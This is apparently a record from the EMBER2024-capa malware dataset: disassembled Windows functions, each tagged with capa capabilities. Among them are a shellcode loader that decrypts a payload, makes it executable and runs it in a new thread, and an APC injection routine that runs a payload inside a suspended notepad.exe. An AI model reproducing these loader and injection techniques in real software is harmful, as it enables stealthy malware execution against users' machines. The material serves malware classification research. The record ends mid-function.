joyce8/EMBER2024-capa huggingface dataset:
Function at 0x33e15163e
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x33a80
call fcn.33e1525c0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov r9d, 0
lea r8, str.LoxoSec
lea rax, str.git5
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov ecx, 0x20
call sym.generate_low_entropy_xor_key_unsigned_long_
mov qword [rbp + 0x339f8], rax
lea rax, [rbp - 0x40]
lea rdx, [0x33e159140]
mov ecx, 0x33a20
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x339f4], 0x33a20
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x33a20
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x339e8], rax
cmp qword [rbp + 0x339e8], 0
jne 0x33e151703
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x33e151857
mov rcx, qword [rbp + 0x339f8]
mov edx, dword [rbp + 0x339f4]
lea rax, [rbp - 0x40]
mov r9d, 0x20
mov r8, rcx
mov rcx, rax
call sym.XOREncrypt_char__unsigned_long__char__unsigned_long_
lea rcx, [rbp + 0x339e0]
mov edx, dword [rbp + 0x339f4]
lea rax, [rbp - 0x40]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym.DecryptAES_char__unsigned_long__char__unsigned_long_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x339e8]
mov r8d, 0x33a20
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x339e8]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x33a20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x33e1517b2
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x33e151857
mov rax, qword [rbp + 0x339e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x339e0], rax
cmp qword [rbp + 0x339e0], 0
jne 0x33e151818
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffd
jmp 0x33e151857
mov rax, qword [rbp + 0x339e8]
mov rdx, rax
lea rax, str._n_nalloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x339e0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x339e8]
call rax
mov eax, 0
add rsp, 0x33a80
pop rbp
ret

Function at 0x33e151a00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x33e151a70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x33e190064]
mov rbx, rcx
test esi, esi
jle 0x33e151ba0
mov rax, qword [0x33e190068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x33e151abb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x33e151b45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x33e151aa0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x33e151bc2
mov rax, qword [0x33e190068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x33e190068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x33e151ba7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x33e151b3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x33e151b50
add dword [0x33e190064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x33e190068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x33e151b3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x33e151ac8
mov rax, qword [0x33e190068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x33e151f40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x33e1900a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x33e190080]
test rbx, rbx
je 0x33e151f9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x33e151f93
test rsi, rsi
je 0x33e151f93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x33e151f78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x33e1521b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x33e1521c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x33e1521d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x33e1521e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x33e15222d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x33e152224
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x33e15222f
add rax, 0x28
cmp rax, r9
jne 0x33e152210
xor eax, eax
ret

Function at 0x33e152230
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x33e1522c0
mov rdx, qword [0x33e18d0f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x33e1522ae
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x33e1522ae
cmp word [rax + 0x18], 0x20b
jne 0x33e1522ae
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x33e1522c0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x33e152299
add rbx, 0x28
cmp rbx, rdi
je 0x33e1522c0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x33e152290
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x33e1522d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x33e18d0f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x33e1522f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x33e1522f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x33e1522f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x33e15234d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x33e152344
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x33e1522f0
add rax, 0x28
cmp rax, r9
jne 0x33e152330
xor eax, eax
ret

Function at 0x33e152350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x33e18d0f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x33e15236f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x33e152378
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x33e15236f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x33e152390
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x33e18d0f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x33e1523b0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x33e1523b8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x33e1523b0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x33e152400
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x33e1523f7
test rcx, rcx
je 0x33e1523b0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x33e1523e8
xor eax, eax
ret
Function at 0x33e152410
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x33e18d0f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x33e15242f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x33e152438
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x33e152450
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x33e18d0f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x33e152470
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x33e152478
ret
cmp word [r8 + 0x18], 0x20b
jne 0x33e152470
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x33e152470
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x33e1524c4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x33e1524d0
add rdx, 0x28
cmp r9, rdx
jne 0x33e1524b0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x33e1524e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x33e18d0f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x33e152502
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x33e152510
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x33e152502
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x33e152502
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x33e152502
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x33e152565
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x33e152578
add rdx, 0x28
cmp rdx, r10
jne 0x33e152550
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x33e152587
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x33e152597
mov edx, dword [rax + 0xc]
test edx, edx
je 0x33e15256e
test ecx, ecx
jg 0x33e152580
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400027f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inject apc
Resume thread
Use process replacement

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
call fcn.140001600
mov qword [rbp + 0x78], 0x114
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.C:WindowsSystem32_notepad.exe
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x30]
mov edx, 0x1388
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x70]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x60], rax
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x60]
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x20], 0
mov r9, rcx
lea r8, [0x1400030c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x58], rax
mov rdx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x58]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 0
add rsp, 0x100
pop rbp
ret
Function at 0x140065350
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14031f5d0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x38], rdx
xor r14d, r14d
call fcn.140095b10
mov rsi, rax
xorps xmm0, xmm0
test rax, rax
jne 0x14006542a
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
lea r8d, [r14 + 4]
lea rdx, str.null
mov rcx, rdi
call fcn.14006bd20
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400653f4
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400653ef
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006558e
mov rcx, r8
call fcn.140213990
mov rax, rdi
mov byte [rbx], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], r14
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140213970
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
movups xmmword [rbp - 0x28], xmm0
movdqa xmm1, xmmword [0x1402f77e0]
movdqu xmmword [rbp - 0x18], xmm1
mov byte [rbp - 0x28], 0
movdqa xmm0, xmmword [0x1402f78d0]
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0x4305031e
mov dword [rbp - 0x4c], 0x5f061e0c
mov dword [rbp - 0x48], 0x5b435c40
mov word [rbp - 0x44], 0x100
mov rcx, r14
nop word [rax + rax]
lea eax, [rcx + 0x59]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x1c
jb 0x140065470
mov byte [rbp - 0x43], 0
lea r8, [rbp - 0x60]
mov edx, 0x2712
mov rcx, rsi
call fcn.140099ba0
mov dword [rbp - 0x38], 0x3d223f32
mov dword [rbp - 0x34], 0x4e372a28
mov dword [rbp - 0x30], 0xd0b16
mov byte [rbp - 0x2c], 1
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x59]
xor byte [rbp + rcx - 0x38], al
inc rcx
cmp rcx, 0xb
jb 0x1400654c0
mov byte [rbp - 0x2c], 0
lea r8, [rbp - 0x38]
mov edx, 0x27c1
mov rcx, rsi
call fcn.140099ba0
xor r8d, r8d
lea edx, [r8 + 0x40]
mov rcx, rsi
call fcn.140099ba0
xor r8d, r8d
lea edx, [r8 + 0x51]
mov rcx, rsi
call fcn.140099ba0
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140065510
mov r8, qword [rbx]
mov edx, 0x271f
mov rcx, rsi
call fcn.140099ba0
lea r8, [0x140065320]
mov edx, 0x4e2b
mov rcx, rsi
call fcn.140099ba0
lea r8, [rbp - 0x28]
mov edx, 0x2711
mov rcx, rsi
call fcn.140099ba0
mov rcx, rsi
call fcn.140095be0
test eax, eax
je 0x140065569
mov ecx, eax
call fcn.140096c40
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rdi + 0x10], xmm1
movdqa xmm0, xmmword [0x1402f77e0]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
jmp 0x1400653ba
call fcn.140227e64
int3
Function at 0x14009faf0
Capabilities:
Convert ip address from string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x88
mov rax, qword [0x14031f5d0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov r13, qword [rcx]
mov ebp, r8d
mov rsi, rcx
lea r8, [rsp + 0x20]
mov ebx, 2
xor r14d, r14d
mov ecx, ebx
mov r15, r9
mov r12, qword [r13 + 0x11b0]
mov rdi, rdx
mov dword [r9], r14d
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x14009fb5c
mov r9d, ebp
lea rdx, [rsp + 0x20]
mov r8, rdi
mov ecx, ebx
call fcn.1400be7d0
jmp 0x14009fc3a
mov ebx, reloc.WS2_32.dll_socket
lea r8, [rsp + 0x58]
mov ecx, ebx
mov rdx, rdi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x14009fb8c
mov r9d, ebp
lea rdx, [rsp + 0x58]
mov r8, rdi
mov ecx, ebx
call fcn.1400be7d0
jmp 0x14009fc3a
mov ecx, dword [rsi + 0x440]
sub ecx, 1
je 0x14009fbb0
cmp ecx, 1
je 0x14009fb9f
mov ebx, r14d
call fcn.1400a0620
test al, al
mov eax, 2
cmove ebx, eax
jmp 0x14009fbb5
mov ebx, 2
cmp dword [rsi + 0xbc], 3
lea r8, [0x14025d844]
xorps xmm0, xmm0
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x28], xmm0
setne r14b
mov dword [rsp + 0x2c], ebx
inc r14d
mov r9d, ebp
mov edx, ntohl
mov dword [rsp + 0x30], r14d
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
call fcn.1400afae0
lea rcx, [rsp + 0x58]
call fcn.14009f980
lea r9, [rsp + 0x28]
mov r8d, ebp
mov rdx, rdi
mov rcx, rsi
movups xmm0, xmmword [rax]
movups xmmword [r12], xmm0
call fcn.1400a0280
test al, al
je 0x14009fc29
mov dword [r15], 1
jmp 0x14009fc38
lea rdx, str.getaddrinfo___thread_failed_to_start_n
mov rcx, r13
call fcn.1400abba0
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140213970
add rsp, 0x88
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
jmp 0x14009faf0
Function at 0x1400ae4e0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call fcn.14023dfb4
cdqe
add rsp, 0x28
ret

Function at 0x1400af3b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp byte [0x1403240c0], 0
mov esi, r8d
mov rdi, qword [rsp + 0x68]
je 0x1400af45f
test rdi, rdi
je 0x1400af45f
mov eax, dword [0x1403240c4]
test eax, eax
jne 0x1400af457
mov r8d, dword [rsp + 0x60]
lea rsi, str.recv
mov r9, rsi
lea rcx, str.LIMIT__s:_d__s_reached_memlimit_n
mov rdx, rdi
call fcn.1400af100
mov ecx, 2
call fcn.1402304e4
mov r9d, dword [rsp + 0x60]
lea rdx, str.LIMIT__s:_d__s_reached_memlimit_n
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov r8, rdi
call fcn.1400afab0
mov rcx, qword [0x1403240b8]
call fcn.140235ff4
call fcn.140228158
mov dword [rax], ntohl
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
dec eax
mov dword [0x1403240c4], eax
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test rdi, rdi
je 0x1400af487
mov r8d, dword [rsp + 0x60]
lea rcx, str.RECV__s:_d_recv__lu____ld_n
mov r9d, esi
mov dword [rsp + 0x20], eax
mov rdx, rdi
call fcn.1400af100
mov rsi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1400af500
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp byte [0x1403240c0], 0
mov esi, r8d
mov rdi, qword [rsp + 0x68]
je 0x1400af5af
test rdi, rdi
je 0x1400af5af
mov eax, dword [0x1403240c4]
test eax, eax
jne 0x1400af5a7
mov r8d, dword [rsp + 0x60]
lea rsi, str.send
mov r9, rsi
lea rcx, str.LIMIT__s:_d__s_reached_memlimit_n
mov rdx, rdi
call fcn.1400af100
mov ecx, 2
call fcn.1402304e4
mov r9d, dword [rsp + 0x60]
lea rdx, str.LIMIT__s:_d__s_reached_memlimit_n
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov r8, rdi
call fcn.1400afab0
mov rcx, qword [0x1403240b8]
call fcn.140235ff4
call fcn.140228158
mov dword [rax], ntohl
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
dec eax
mov dword [0x1403240c4], eax
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
test rdi, rdi
je 0x1400af5d7
mov r8d, dword [rsp + 0x60]
lea rcx, str.SEND__s:_d_send__lu____ld_n
mov r9d, esi
mov dword [rsp + 0x20], eax
mov rdx, rdi
call fcn.1400af100
mov rsi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1400beb50
Capabilities:
Convert ip address from string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x88
mov rax, qword [0x14031f5d0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov r13, qword [rcx]
mov ebp, r8d
mov rsi, rcx
lea r8, [rsp + 0x20]
mov ebx, 2
xor r14d, r14d
mov ecx, ebx
mov r15, r9
mov r12, qword [r13 + 0x11b0]
mov rdi, rdx
mov dword [r9], r14d
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x14009fb5c
mov r9d, ebp
lea rdx, [rsp + 0x20]
mov r8, rdi
mov ecx, ebx
call fcn.1400be7d0
jmp 0x14009fc3a
mov ebx, reloc.WS2_32.dll_socket
lea r8, [rsp + 0x58]
mov ecx, ebx
mov rdx, rdi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x14009fb8c
mov r9d, ebp
lea rdx, [rsp + 0x58]
mov r8, rdi
mov ecx, ebx
call fcn.1400be7d0
jmp 0x14009fc3a
mov ecx, dword [rsi + 0x440]
sub ecx, 1
je 0x14009fbb0
cmp ecx, 1
je 0x14009fb9f
mov ebx, r14d
call fcn.1400a0620
test al, al
mov eax, 2
cmove ebx, eax
jmp 0x14009fbb5
mov ebx, 2
cmp dword [rsi + 0xbc], 3
lea r8, [0x14025d844]
xorps xmm0, xmm0
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x28], xmm0
setne r14b
mov dword [rsp + 0x2c], ebx
inc r14d
mov r9d, ebp
mov edx, ntohl
mov dword [rsp + 0x30], r14d
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
call fcn.1400afae0
lea rcx, [rsp + 0x58]
call fcn.14009f980
lea r9, [rsp + 0x28]
mov r8d, ebp
mov rdx, rdi
mov rcx, rsi
movups xmm0, xmmword [rax]
movups xmmword [r12], xmm0
call fcn.1400a0280
test al, al
je 0x14009fc29
mov dword [r15], 1
jmp 0x14009fc38
lea rdx, str.getaddrinfo___thread_failed_to_start_n
mov rcx, r13
call fcn.1400abba0
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140213970
add rsp, 0x88
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
jmp 0x14009faf0
Function at 0x1400c2990
Capabilities:
Encode data using xor

Disassembly:
push r14
push r15
sub rsp, 0x1f8
mov rax, qword [0x14031f5d0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
cmp byte [0x140324380], 0
mov r14, rcx
jne 0x1400c29c9
call fcn.1400fb9b0
test eax, eax
je 0x1400c29e7
mov byte [0x140324380], 1
xor eax, eax
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.140213970
add rsp, 0x1f8
pop r15
pop r14
ret
mov rcx, qword [r14 + 0xcf8]
test rcx, rcx
je 0x1400c2a06
mov edx, 0x400
call fcn.1400fca50
call fcn.1400fb9b0
test eax, eax
jne 0x1400c29c9
mov qword [rsp + 0x218], rbx
xor r15d, r15d
mov qword [rsp + 0x220], rbp
mov qword [rsp + 0x228], rsi
mov qword [rsp + 0x1f0], rdi
movaps xmmword [rsp + 0x1e0], xmm6
movaps xmmword [rsp + 0x1d0], xmm7
movsd xmm7, qword [0x140264588]
nop dword [rax]
nop word [rax + rax]
mov rsi, r15
lea rbp, [rsp + 0x80]
nop dword [rax + rax]
lea rcx, [rsp + 0x30]
call fcn.14009f980
mov ecx, 1
movups xmm6, xmmword [rax]
movups xmmword [rsp + 0x20], xmm6
call fcn.1400aba90
lea rcx, [rsp + 0x40]
lea rdi, [rsi + 3]
call fcn.14009f980
lea rcx, [rsp + 0x50]
movsxd rbx, dword [rax + 8]
call fcn.14009f980
mov rdx, rbx
lea rcx, [rdi - 2]
add rdx, qword [rax]
movq rax, xmm6
imul rdx, rdi
imul rcx, rax
shl rdx, 8
xor rdx, rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rdx
